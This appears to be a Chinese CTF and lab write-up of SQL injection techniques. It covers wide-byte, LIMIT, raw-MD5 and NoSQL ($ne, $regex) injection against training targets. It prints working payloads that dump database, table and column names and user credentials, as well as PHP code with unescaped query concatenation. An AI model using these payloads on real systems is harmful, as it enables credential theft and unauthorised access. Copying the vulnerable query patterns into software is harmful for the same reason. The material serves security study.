$sql="SELECT * FROM users ORDER BY id";//sql语句是拿出所有数据按照id排列,即从id=1直至最后
$result=mysql_query($sql); //此函数指的是仅执行一种语句,为了防止多个语句注入,并将结果赋值给新变量
$num=mysql_num_rows($result);//此函数指返回结果集中行的数目,新变量$num就是这个数
for ($i=0; $i < $num; ++$i) { //for 循环语句,起始时变量i为0,设置条件为变量i小于变量num,即运行到变量num-1,每次执行后变量加一继续执行
$row = mysql_fetch_array($result);//取出变量result作为一组关联数组赋值给新变量row
$username = $row[1];//将变量row的第一列赋值给变量username
$sql_detail = "SELECT * FROM users where username='$username'"; //将变量username用单引号包裹
$result_detail=mysql_query($sql_detail);//仅执行一种语句,将结果赋值给新变量$result_detail
$num_detail = mysql_num_rows($result_detail);//计算变量$result_detail的行数赋值给新$num_detail
for ($j=0; $j < $num_detail; ++$j) { //for 循环语句,,起始时j为0,设置条件为j小于变量$num_detail,每次执行后加一继续执行
$row_detail = mysql_fetch_array($result_detail);//将结果以关联数组形式联合起来,赋值给新变量
echo<<<END
<table border="1" style="table-layout:fixed;" width="1000">
<tr>
<th>$row_detail[1]</th>
<th>$row_detail[2]</th>
</tr>
</table>
END;
}
}
?>

执行结果为
在这里插入图片描述
用户名和密码被打印出来了!

宽字节注入

0X01

在这里插入图片描述
当我们输入?id=1'时,发现多了一个反斜线,此时我们考虑到宽字节注入,尝试去构造一个字母与后面的\组成汉字,我们知道%df与\可以组成汉字,构造payload如下

?id=1%df%27
注:%27是单引号的url编码

执行结果
在这里插入图片描述
�\ 实际上就是那个運字 ,此时我们就可以尝试进行注入
爆库

?id=-1%df%27 union select 1,2,database()%23

执行结果
在这里插入图片描述爆表

?id=-1%df%27 union select 1,2,
(select group_concat(table_name) from information_schema.tables
 where table_schema=database())--+

注:此时库名不能写'security',因为出现了单引号,可以用database()十六进制来进行代替
在这里插入图片描述爆列名

?id=-1%df%27 union select 1,2,
(select group_concat(column_name) from information_schema.columns 
where table_name=0x7573657273)--+

执行结果
在这里插入图片描述

爆字段信息(下方以uesrs为例)

?id=-1%df%27 union select 1,2,
(select group_concat(username,0x7e,password) from security.users)--+

执行结果
在这里插入图片描述

0X02

进入靶场后
在这里插入图片描述
下方灰色处发现可以点击,点击进入
在这里插入图片描述
尝试宽字节注入

?id=1%df'

在这里插入图片描述
发现报错,说明可以进行宽字节注入
那就开始日常的sql注入流程,判断字段数

?id=1%df' order by 6 --+

执行结果
在这里插入图片描述
说明字段数为5,此时利用联合查询,看哪个有回显

?id=-1%df' union select 1,2,3,4,5 --+

在这里插入图片描述
发现3和5有回显位,此时利用3和5来爆库并得到当前用户名

?id=-1%df' union select 1,2,user(),4,database() --+

在这里插入图片描述mozhe_discuz_stormgroup
此时再查表名

?id=-1%df' union select 1,2,user(),4,(select group_concat(table_name) from
 information_schema.tables where 
 table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570) --+

在这里插入图片描述同时查两个表的列名

?id=-1%df' union select 1,2,(select group_concat(column_name) from
information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,
(select group_concat(column_name) from information_schema.columns where 
table_name=0x6e6f74696365) --+

在这里插入图片描述
此时想到我们登录需要的是name和password,因此我们查询这两个字段

?id=-1%df' union select 1,2,(select group_concat(column_name) from
 information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,
 (select group_concat(name,0x7e,password,0x7e,status) from 
 mozhe_discuz_stormgroup.stormgroup_member)--+

在这里插入图片描述
得到uesrname是mozhe,此时用password对后面状态为1的进行md5解密
在这里插入图片描述
得到密码,进行登录
在这里插入图片描述
获取到了key,解题完成

limit注入

//分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
返回逻辑 
//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

构造payload如下

?page=1&limit=0%20 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

在这里插入图片描述

md5注入

$username = $_POST['username'];
$password = md5($_POST['password'],true);

本关username声明必须为admin才能得到flag,再观察password,被md5函数包裹了
我们构造payload如下即可

username: admin	
password: ffifdyop

那此时语句就相当于是

$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or '6+其他字符'";

执行结果
在这里插入图片描述

nosql注入

0X01

//无
  $user = $memcache->get($id);

返回逻辑
  //无过滤

memcache是返回数组的,此时按理说传?id=flag就可以,不过报错了,学习其他师傅的wp后说后端进行了intval检测,这个函数吧,他是检测数字的,本地测试如下
在这里插入图片描述
因此我们需要构造一个数组形式,也就是?id[]=flag,当然二维数组的名字可以随便写,?id[12345]=flag也行,因为最终传入的数据是flag

0X02

在这里插入图片描述
观察语句并分析代码,发现传入的是变量data,而data中的数据是username和password,因此我们想实现成功获取flag,可以利用永真式,构造payload如下(ne是非的意思,具体见上方)

username[$ne]=1&password[$ne]=1

此时执行的实际语句就是

{
    'username': {
        '$ne': '1'
    },
    'password': {
        '$ne': '1'
    }
}

0X03

//sql语句
  $query = new MongoDB\Driver\Query($data);
  $cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
 //返回逻辑,无过滤
  if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
  }

这关你利用和上关同样的姿态,会发现有admin和admin1两个用户名
在这里插入图片描述在这里插入图片描述
方法一
此时看似无法使用永真式注入了,但是其实你仔细观察后会发现password一致,因此我们可以更改password对应的内容,构造payload如下即可

username[$ne]=1&password[$ne]=ctfshow666nnneeaaabbbcc

在这里插入图片描述
方法二
正常这关的话利用的是正则匹配,因为flag的用户名可能是f开头,所以构造payload如下

username[$regex]=f.*&password[$ne]=1

也可以让它匹配非a开头的,构造payload如下

username[$regex]=^[^admin].*$&password[$ne]=1
^[^admin].*$的话这个就随便作为字符,因为*是全部

这个payload需要熟悉一下正则表达式的部分知识

^的作用
1、限定开头
^匹配后面紧跟的字符为开头的字符([ ]之外或数字、元字符之前),如^[0-9],含义为以0-9中的数字为第一个数字开头。
2、取反:
当这个字符出现在一个字符集合模式([ ]之内)的第一个字符时,表示为取反。如[^0-9],表示为匹配除了数字以外的字符。
$的作用
表示从字符串末尾进行匹配。
如/^[0-9]{8}$/,表示为字符串以数字为结尾字符。
# SQL注入 # web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 quan9i 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
quan9i LV.5
一个什么也不会的fw
  • 28 文章数
  • 70 关注者
Fastjson从0到入门—基础篇
2024-01-21
内网渗透测试 | 实战打靶之春秋云镜双靶场
2023-12-07
内网渗透测试 | Kerberos协议及其部分攻击手法
2023-11-21
文章目录